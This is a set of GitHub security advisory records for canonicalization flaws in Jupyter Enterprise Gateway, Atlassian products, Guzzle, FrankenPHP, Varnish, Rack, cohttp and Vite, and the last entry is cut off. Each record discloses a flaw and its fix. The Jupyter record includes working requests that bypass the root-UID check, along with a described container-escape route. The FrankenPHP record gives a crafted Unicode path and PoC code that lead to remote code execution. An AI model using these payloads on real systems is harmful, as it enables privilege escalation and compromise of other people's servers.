CWE-180

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "jupyter_enterprise_gateway"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0rc1"
            },
            {
              "fixed": "3.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44180"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-180",
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-03T21:30:10Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nJupyter Enterprise Gateway has a prohibited UID and GID feature that by default prevents launching kernels with UID or GID 0 (root).\nThis can be bypassed. It is possible to launch kernels with a prohibited UID and/or GID by using a specially crafted `KERNEL_UID` or `KERNEL_GID` value.\n\nThe feature is described in the documentation: \n\nhttps://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/config-add-env.md?plain=1#L103-L107\n\nhttps://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/config-add-env.md?plain=1#L88-L92\n\nhttps://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/deploy-kubernetes.md?plain=1#L769\n\n### Details\n\nThe `prohibited_uids` and `prohibited_uids` are set based of the OS env var `EG_PROHIBITED_UIDS` and `EG_PROHIBITED_GIDS`, and default to the string `0`.\n\nhttps://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/container.py#L29-L30\n\nThe checks https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/container.py#L113 and https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/container.py#L119 look for the user supplied `KERNEL_UID` / `KERNEL_GID` string in the `prohibited_uids` / `prohibited_gids` strings. These checks can be bypassed by including whitespace, for example the string `0 ` (trailing space).\n\nThe user supplied string is used in the Kubernetes manifest at https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L35 and https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L38 where they are parsed as an integer in the Jinja2 template - which will ignore the whitespace.\n\n### PoC\n\n\n#### How it is meant to work\n\nTrying `0` gets denied, as expected.\n\n```bash\nxh http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels name=python_kubernetes env:=\u0027{\"KERNEL_POD_NAME\":\"bdawg\", \"KERNEL_UID\": \"0\", \"KERNEL_GID\": \"0\"}\u0027\n```\n\n```\nHTTP/1.1 403 Kernel\u0027s UID value of \u00270\u0027 has been denied via EG_PROHIBITED_UIDS!\nContent-Length: 94\nContent-Type: application/json\nDate: Mon, 14 Jul 2025 12:57:09 GMT\nServer: TornadoServer/6.4.1\nX-Content-Type-Options: nosniff\n```\n\n```json\n{\n    \"reason\": \"Kernel\u0027s UID value of \u00270\u0027 has been denied via EG_PROHIBITED_UIDS!\",\n    \"message\": \"\"\n}\n```\n\n#### Exploit bypassing the checks\n\nUsing `0 ` with a trailing space, bypasses the check.\n\n```bash\nxh http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels name=python_kubernetes env:=\u0027{\"KERNEL_POD_NAME\":\"bdawg\", \"KERNEL_UID\": \"0 \", \"KERNEL_GID\": \"0 \"}\u0027\n```\n\n```\nHTTP/1.1 201 Created\nContent-Length: 172\nContent-Type: application/json\nDate: Mon, 14 Jul 2025 14:15:19 GMT\nLocation: /api/kernels/17eee032-994f-4dd2-8ade-87169c300a40\nServer: TornadoServer/6.4.1\nX-Content-Type-Options: nosniff\n```\n\n```\n{\n    \"id\": \"17eee032-994f-4dd2-8ade-87169c300a40\",\n    \"name\": \"python_kubernetes\",\n    \"last_activity\": \"2025-07-14T14:15:21.468155Z\",\n    \"execution_state\": \"starting\",\n    \"connections\": 0\n}\n```\n\nThe pod is successfully scheduled.\n\nInspecting the container we can see it is running as `root`:\n\n```bash\nkubectl exec -it pod/bdawg -- bash\n```\n\n```\n(base) root@bdawg3:~# id\nuid=0(root) gid=0(root) groups=0(root),100(users)\n```\n\nIf we had not supplied the `KERNEL_UID` / `KERNEL_GID` the container would have been running as UID:GID `1000:100` (`jovyan:users`).\n\n### Impact\n\nThis input validation vulnerability allows running Jupyter kernels as root, which can be dangerous as it allows more attack surface, and may lead to container escapes, compromising the worker node and all workloads running on it. Repeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. It is possible to specify volume mounts, so one vector for a container escape is to use a `hostPath` R/W volume mount, use this UID/GID bypass to run as root, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system.\n\nOrganisations running Jupyter Enterprise Gateway to host Jupyter Kernels on at least Kubernetes clusters (I\u0027ve tested this), and possibly on any other supported container orchestration systems or systems that utilise the `KERNEL_UID` and `KERNEL_GID` variables with the `EG_PROHIBITED_UIDS` and `EG_PROHIBITED_GIDS` feature.",
  "id": "GHSA-chq7-94j8-cj28",
  "modified": "2026-06-03T21:30:10Z",
  "published": "2026-06-03T21:30:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jupyter-server/enterprise_gateway/security/advisories/GHSA-chq7-94j8-cj28"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jupyter-server/enterprise_gateway"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jupyter-server/enterprise_gateway/releases/tag/v3.3.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Jupyter Enterprise Gateway: ContainerProcessProxy._enforce_prohibited_ids Bypass"
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-26136"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-180",
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-20T18:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A vulnerability in multiple Atlassian products allows a remote, unauthenticated attacker to bypass Servlet Filters used by first and third party apps. The impact depends on which filters are used by each app, and how the filters are used. This vulnerability can result in authentication bypass and cross-site scripting. Atlassian has released updates that fix the root cause of this vulnerability, but has not exhaustively enumerated all potential consequences of this vulnerability. Atlassian Bamboo versions are affected before 8.0.9, from 8.1.0 before 8.1.8, and from 8.2.0 before 8.2.4. Atlassian Bitbucket versions are affected before 7.6.16, from 7.7.0 before 7.17.8, from 7.18.0 before 7.19.5, from 7.20.0 before 7.20.2, from 7.21.0 before 7.21.2, and versions 8.0.0 and 8.1.0. Atlassian Confluence versions are affected before 7.4.17, from 7.5.0 before 7.13.7, from 7.14.0 before 7.14.3, from 7.15.0 before 7.15.2, from 7.16.0 before 7.16.4, from 7.17.0 before 7.17.4, and version 7.21.0. Atlassian Crowd versions are affected before 4.3.8, from 4.4.0 before 4.4.2, and version 5.0.0. Atlassian Fisheye and Crucible versions before 4.8.10 are affected. Atlassian Jira versions are affected before 8.13.22, from 8.14.0 before 8.20.10, and from 8.21.0 before 8.22.4. Atlassian Jira Service Management versions are affected before 4.13.22, from 4.14.0 before 4.20.10, and from 4.21.0 before 4.22.4.",
  "id": "GHSA-f3mv-w3v5-88qp",
  "modified": "2022-08-05T00:00:28Z",
  "published": "2022-07-21T00:00:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-26136"
    },
    {
      "type": "WEB",
      "url": "https://jira.atlassian.com/browse/BAM-21795"
    },
    {
      "type": "WEB",
      "url": "https://jira.atlassian.com/browse/BSERV-13370"
    },
    {
      "type": "WEB",
      "url": "https://jira.atlassian.com/browse/CONFSERVER-79476"
    },
    {
      "type": "WEB",
      "url": "https://jira.atlassian.com/browse/CRUC-8541"
    },
    {
      "type": "WEB",
      "url": "https://jira.atlassian.com/browse/CWD-5815"
    },
    {
      "type": "WEB",
      "url": "https://jira.atlassian.com/browse/FE-7410"
    },
    {
      "type": "WEB",
      "url": "https://jira.atlassian.com/browse/JRASERVER-73897"
    },
    {
      "type": "WEB",
      "url": "https://jira.atlassian.com/browse/JSDSERVER-11863"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "guzzlehttp/guzzle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.15.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "guzzlehttp/guzzle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-69245"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-180",
      "CWE-346",
      "CWE-384"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-03T21:05:26Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\n\n`SetCookie::matchesDomain()` gives every subdomain of a cookie `Domain` that cookie unless it recognizes the `Domain` as an IP literal or a numeric host, and it decides that from the domain\u0027s own text, so two spellings a transport reads as an address keep subdomain scope. On `7.15`, hexadecimal and mixed-base forms such as `0x7f000001` and `0177.0.0.0x1` go unrecognized while libcurl 8.21.0 reads both as `127.0.0.1`, so closing them completes the rule `GHSA-g446-98w2-8p5w` (`CVE-2026-59883`) set out to establish, which cited the WHATWG IPv4 parser and so already admitted a `0x` part. A percent-escaped `Domain` keeps that scope on both branches for a different reason: percent-decoding sits above numeric parsing, so `192.168.0.%31` and `127.0.0.1%2e` are registered names in the URI grammar rather than address literals, and no numeric rule in any base classifies them, while libcurl decodes the host before it resolves and reads them as `192.168.0.1` and `127.0.0.1`. The escape must fall in the rightmost label on `8.0.0`, which already catches a decimal, octal or `0x` part there, but not on `7.15`, where `%31%32%37.0.0.0x1` also reads as `127.0.0.1`; `8.0.0` is affected in the percent spelling alone.\n\nBoth directions of the defect are reproduced over a real socket. A cookie stored for `Domain=0x7f000001` is placed in the `Cookie` header of a request to `evil.0x7f000001`, disclosing a session identifier or token to a host that is not that address, and a response from `evil.0x7f000001` setting `Domain=0x7f000001` is accepted into the jar and replayed to the address, so a server answering for the look-alike name can fix a session or set application state.\n\nExploitation requires the application to enable cookie support, address an origin by one of these spellings, and contact a host whose name ends in it. No public DNS delegation provides such a name, so the exposure is to private, split-horizon and container zones. Applications that do not use Guzzle\u0027s cookies, that keep a separate jar for each host or trust boundary, or that address origins only by ordinary names are not affected.\n\n### Patches\n\nThis is a summary; the patches are the authority. The issue is fixed in `7.15.2` and `8.0.1`, which hold a cookie `Domain` containing a `%` byte to an exact match against the request host. `7.15.2` additionally holds to an exact match a `Domain` whose every dot-separated part is decimal, octal or hexadecimal, a rule wide enough that `0x100000000`, a name to libcurl, loses subdomain matching too; `8.0.0` already recognizes a `0x`-prefixed rightmost label. One class stays open: an IDN-capable transport reads a fullwidth-digit `Domain` such as `127.0.0.\uff11` as `127.0.0.1` while Guzzle matches it by suffix, and these patches do not close that. Versions before `7.15.2` and version `8.0.0` are affected, `8.0.0` in the percent spelling alone.\n\n### Workarounds\n\nIf you cannot upgrade, do not share one `CookieJar` between an origin addressed by a numeric or percent-escaped spelling and any other host ending in that spelling. Use a separate jar for each host or trust boundary, or address such an origin by its canonical dotted-decimal form, writing `127.0.0.1`, which released versions already hold to an exact match, rather than `0x7f000001` or `127.0.0.%31`. Rejecting a request URI host that contains a percent escape, before you hand the URI to Guzzle and on every redirect hop, closes that spelling, and rejecting a non-ASCII byte closes the fullwidth one, but nothing outside the jar closes the hexadecimal one.\n\nDo not use `filter_var()` with `FILTER_VALIDATE_IP` to decide whether a domain is an address: it rejects `0x7f000001` and `127.0.0.%31`, which a transport reads as `127.0.0.1`.",
  "id": "GHSA-f7vp-7xgx-4w4r",
  "modified": "2026-08-03T21:05:26Z",
  "published": "2026-08-03T21:05:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/guzzle/guzzle/security/advisories/GHSA-f7vp-7xgx-4w4r"
    },
    {
      "type": "WEB",
      "url": "https://github.com/guzzle/guzzle/pull/3907"
    },
    {
      "type": "WEB",
      "url": "https://github.com/guzzle/guzzle/pull/3908"
    },
    {
      "type": "WEB",
      "url": "https://github.com/guzzle/guzzle/commit/3aeea0406aab88cbbd86531313d7cebf8ae149a4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/guzzle/guzzle/commit/744101956d78b7c1384d0cbf379db13e859167bf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/guzzle/guzzle"
    },
    {
      "type": "WEB",
      "url": "https://github.com/guzzle/guzzle/releases/tag/7.15.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/guzzle/guzzle/releases/tag/8.0.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Guzzle: Noncanonical cookie domain keeps subdomain scope"
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-26137"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-180",
      "CWE-346"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-20T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in multiple Atlassian products allows a remote, unauthenticated attacker to cause additional Servlet Filters to be invoked when the application processes requests or responses. Atlassian has confirmed and fixed the only known security issue associated with this vulnerability: Cross-origin resource sharing (CORS) bypass. Sending a specially crafted HTTP request can invoke the Servlet Filter used to respond to CORS requests, resulting in a CORS bypass. An attacker that can trick a user into requesting a malicious URL can access the vulnerable application with the victim\u2019s permissions. Atlassian Bamboo versions are affected before 8.0.9, from 8.1.0 before 8.1.8, and from 8.2.0 before 8.2.4. Atlassian Bitbucket versions are affected before 7.6.16, from 7.7.0 before 7.17.8, from 7.18.0 before 7.19.5, from 7.20.0 before 7.20.2, from 7.21.0 before 7.21.2, and versions 8.0.0 and 8.1.0. Atlassian Confluence versions are affected before 7.4.17, from 7.5.0 before 7.13.7, from 7.14.0 before 7.14.3, from 7.15.0 before 7.15.2, from 7.16.0 before 7.16.4, from 7.17.0 before 7.17.4, and version 7.21.0. Atlassian Crowd versions are affected before 4.3.8, from 4.4.0 before 4.4.2, and version 5.0.0. Atlassian Fisheye and Crucible versions before 4.8.10 are affected. Atlassian Jira versions are affected before 8.13.22, from 8.14.0 before 8.20.10, and from 8.21.0 before 8.22.4. Atlassian Jira Service Management versions are affected before 4.13.22, from 4.14.0 before 4.20.10, and from 4.21.0 before 4.22.4.",
  "id": "GHSA-fpj5-pcgc-34g7",
  "modified": "2024-10-03T18:30:34Z",
  "published": "2022-07-21T00:00:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-26137"
    },
    {
      "type": "WEB",
      "url": "https://jira.atlassian.com/browse/BAM-21795"
    },
    {
      "type": "WEB",
      "url": "https://jira.atlassian.com/browse/BSERV-13370"
    },
    {
      "type": "WEB",
      "url": "https://jira.atlassian.com/browse/CONFSERVER-79476"
    },
    {
      "type": "WEB",
      "url": "https://jira.atlassian.com/browse/CRUC-8541"
    },
    {
      "type": "WEB",
      "url": "https://jira.atlassian.com/browse/CWD-5815"
    },
    {
      "type": "WEB",
      "url": "https://jira.atlassian.com/browse/FE-7410"
    },
    {
      "type": "WEB",
      "url": "https://jira.atlassian.com/browse/JRASERVER-73897"
    },
    {
      "type": "WEB",
      "url": "https://jira.atlassian.com/browse/JSDSERVER-11863"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/dunglas/frankenphp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.11.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-24895"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-180",
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-12T15:29:36Z",
    "nvd_published_at": "2026-02-12T20:16:10Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nFrankenPHP\u2019s CGI path splitting logic improperly handles Unicode characters during case conversion. The logic computes the split index (for finding `.php`) on a lowercased copy of the request path but applies that byte index to the original path.\n\nBecause `strings.ToLower()` in Go can increase the byte length of certain UTF-8 characters (e.g., `\u023a` expands when lowercased), the computed index may not align with the correct position in the original string. This results in an incorrect `SCRIPT_NAME` and `SCRIPT_FILENAME`, potentially causing FrankenPHP to execute a file other than the one intended by the URI.\n\n### **Details**\n\nThe vulnerability resides in the `splitPos()` function and its usage within `splitCgiPath()`. The logic attempts to find the script extension (e.g., `.php`) in a case-insensitive manner by lowercasing the path:\n\n```go\nlowerPath := strings.ToLower(path)\nidx := strings.Index(lowerPath, strings.ToLower(split))\nreturn idx + len(split)\n```\n\nThe issue is that the returned `idx` represents a byte offset within `lowerPath`. However, `splitCgiPath()` uses this index to slice the **original** `path`:\n\n```go\nfc.docURI = path[:splitPos]\nfc.pathInfo = path[splitPos:]\nfc.scriptName = strings.TrimSuffix(path, fc.pathInfo)\nfc.scriptFilename = sanitizedPathJoin(fc.documentRoot, fc.scriptName)\n```\n\nThis logic relies on the assumption that `len(strings.ToLower(path)) == len(path)`. This assumption is false for certain Unicode characters. For example, the character `\u023a` (U+023A) requires 2 bytes in UTF-8 (`0xC8 0xBA`), but its lowercase equivalent `\u2c65` (U+2C65) requires 3 bytes (`0xE2 0xB1 0xA5`).\n\nIf the path contains such characters before the `.php` extension, the index calculated on `lowerPath` will be larger than the corresponding visual point in the original `path`. When applied to the original path, the split occurs at the wrong byte offset. This can cause the server to treat a larger portion of the path as the script name, effectively allowing an attacker to manipulate `SCRIPT_FILENAME`.\n\n### **PoC**\n\nThe following Go program demonstrates the discrepancy between the byte index in the lowercased string versus the original string.\n\n1. Save the following as `poc.go`:\n\n```go\npackage main\n\nimport (\n    \"fmt\"\n    \"strings\"\n)\n\nfunc splitPos(path string, split string) int {\n    lowerPath := strings.ToLower(path)\n    idx := strings.Index(lowerPath, strings.ToLower(split))\n    if idx \u003c 0 {\n        return -1\n    }\n    return idx + len(split)\n}\n\nfunc main() {\n    // U+023A: \u023a (UTF-8: C8 BA). Lowercase is \u2c65 (UTF-8: E2 B1 A5), longer in bytes.\n    // We construct a path where the byte expansion shifts the index.\n    path := \"/\u023a\u023a\u023a\u023ashell.php.txt.php\"\n    split := \".php\"\n\n    pos := splitPos(path, split)\n\n    fmt.Printf(\"orig bytes=%d\\n\", len(path))\n    fmt.Printf(\"lower bytes=%d\\n\", len(strings.ToLower(path)))\n    fmt.Printf(\"splitPos=%d\\n\", pos)\n\n    // Current Unsafe Behavior:\n    fmt.Printf(\"orig[:pos] (Calculated Script)=%q\\n\", path[:pos])\n    fmt.Printf(\"orig[pos:] (Calculated PathInfo)=%q\\n\", path[pos:])\n\n    // Expected Safe Behavior:\n    want := strings.Index(path, split) + len(split)\n    fmt.Printf(\"expected splitPos=%d\\n\", want)\n    fmt.Printf(\"expected orig[:]=%q\\n\", path[:want])\n}\n```\n\n2. Run the PoC:\n\n```console\ngo run poc.go\n```\n\n3. **Output:**\n\n```text\norig bytes=26\nlower bytes=30\nsplitPos=22\norig[:pos]=\"/\u023a\u023a\u023a\u023ashell.php.txt\"\norig[pos:]=\".php\"\nexpected splitPos=18\nexpected orig[:]=\"/\u023a\u023a\u023a\u023ashell.php\"\n```\n\nIn this example, FrankenPHP would identify `/\u023a\u023a\u023a\u023ashell.php.txt` as the PHP script to execute, ignoring the fact that the actual file extension in the file system might be `.txt`.\n\n### Impact*\n\nThis is a **Security Boundary Bypass** and **Path Confusion** vulnerability.\n\nIn setups where users can upload files (e.g., avatars, text files) that are stored within the document root or a reachable path, an attacker can upload a file containing malicious PHP code with a safe extension (e.g., `payload.txt`). By crafting a request with specific Unicode characters, the attacker can force FrankenPHP to calculate the `SCRIPT_FILENAME` as ending in `payload.txt`, while the request appears to contain `.php` to the internal router logic.\n\nThis results in the execution of non-PHP files as PHP scripts, leading to **Remote Code Execution (RCE)**.\n\n### **Patched Versions**\n\n* This issue is fixed in FrankenPHP version **1.11.2**.\n\n### **Workarounds**\n\n* Ensure that user-uploaded files are stored outside of the public document root.\n* Implement strict WAF rules to reject requests containing specific multi-byte Unicode characters in the URL path if an upgrade is not immediately possible.",
  "id": "GHSA-g966-83w7-6w38",
  "modified": "2026-02-12T22:07:57Z",
  "published": "2026-02-12T15:29:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/php/frankenphp/security/advisories/GHSA-g966-83w7-6w38"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24895"
    },
    {
      "type": "WEB",
      "url": "https://github.com/php/frankenphp/commit/04fdc0c1e8fde94e2c1ad86217e962c88d27c53e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/php/frankenphp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/php/frankenphp/releases/tag/v1.11.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "FrankenPHP\u0027s unicode case-folding length expansion causes incorrect split_path index (SCRIPT_NAME/PATH_INFO confusion) in FrankenPHP"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-34475"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-180"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-27T20:16:36Z",
    "severity": "MODERATE"
  },
  "details": "Varnish Cache before 8.0.1 and Varnish Enterprise before 6.0.16r12, in certain unchecked req.url scenarios, mishandle URLs with a path of / for HTTP/1.1, potentially leading to cache poisoning or authentication bypass.",
  "id": "GHSA-m9gq-cmcj-p62x",
  "modified": "2026-03-27T21:31:37Z",
  "published": "2026-03-27T21:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34475"
    },
    {
      "type": "WEB",
      "url": "https://vinyl-cache.org/security/VSV00018.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.23"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0.beta1"
            },
            {
              "fixed": "3.1.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.2.0"
            },
            {
              "fixed": "3.2.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34786"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-180"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-02T18:44:49Z",
    "nvd_published_at": "2026-04-02T17:16:25Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`Rack::Static#applicable_rules` evaluates several `header_rules` types against the raw URL-encoded `PATH_INFO`, while the underlying file-serving path is decoded before the file is served. As a result, a request for a URL-encoded variant of a static path can serve the same file without the headers that `header_rules` were intended to apply.\n\nIn deployments that rely on `Rack::Static` to attach security-relevant response headers to static content, this can allow an attacker to bypass those headers by requesting an encoded form of the path.\n\n## Details\n\n`Rack::Static#applicable_rules` matches rule types such as `:fonts`, `Array`, and `Regexp` directly against the incoming `PATH_INFO`. For example:\n\n```ruby\nwhen :fonts\n  /\\.(?:ttf|otf|eot|woff2|woff|svg)\\z/.match?(path)\nwhen Array\n  /\\.(#{rule.join(\u0027|\u0027)})\\z/.match?(path)\nwhen Regexp\n  rule.match?(path)\n```\n\nThese checks operate on the raw request path. If the request contains encoded characters such as `%2E` in place of `.`, the rule may fail to match even though the file path is later decoded and served successfully by the static file server.\n\nFor example, both of the following requests may resolve to the same file on disk:\n\n```text\n/fonts/test.woff\n/fonts/test%2Ewoff\n```\n\nbut only the unencoded form may receive the headers configured through `header_rules`.\n\nThis creates a canonicalization mismatch between the path used for header policy decisions and the path ultimately used for file serving.\n\n## Impact\n\nApplications that rely on `Rack::Static` `header_rules` to apply security-relevant headers to static files may be affected.\n\nIn affected deployments, an attacker can request an encoded variant of a static file path and receive the same file without the intended headers. Depending on how `header_rules` are used, this may bypass protections such as clickjacking defenses, content restrictions, or other response policies applied to static content.\n\nThe practical impact depends on the configured rules and the types of files being served. If `header_rules` are only used for non-security purposes such as caching, the issue may have limited security significance.\n\n## Mitigation\n\n* Update to a patched version of Rack that applies `header_rules` to a decoded path consistently with static file resolution.\n* Do not rely solely on `Rack::Static` `header_rules` for security-critical headers where encoded path variants may reach the application.\n* Prefer setting security headers at the reverse proxy or web server layer so they apply consistently to both encoded and unencoded path forms.\n* Normalize or reject encoded path variants for static content at the edge, where feasible.",
  "id": "GHSA-q4qf-9j86-f5mh",
  "modified": "2026-05-13T15:20:50Z",
  "published": "2026-04-02T18:44:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rack/rack/security/advisories/GHSA-q4qf-9j86-f5mh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34786"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rack/rack"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack/CVE-2026-34786.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Rack:: Static header_rules bypass via URL-encoded paths"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-82481"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-180"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-29T15:17:55Z",
    "severity": "HIGH"
  },
  "details": "The cohttp package before 6.3.0 for OCaml allows directory traversal.",
  "id": "GHSA-qcjm-vmrx-v935",
  "modified": "2026-08-29T15:30:21Z",
  "published": "2026-08-29T15:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-82481"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mirage/ocaml-cohttp/pull/1145"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:D/RE:M/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.0.4"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.3.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.1.0"
            },
            {
              "fixed": "7.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39364"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-180",
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-06T18:03:32Z",
    "nvd_published_at": "2026-04-07T20:16:30Z",
    "severity": "HIGH"
  },
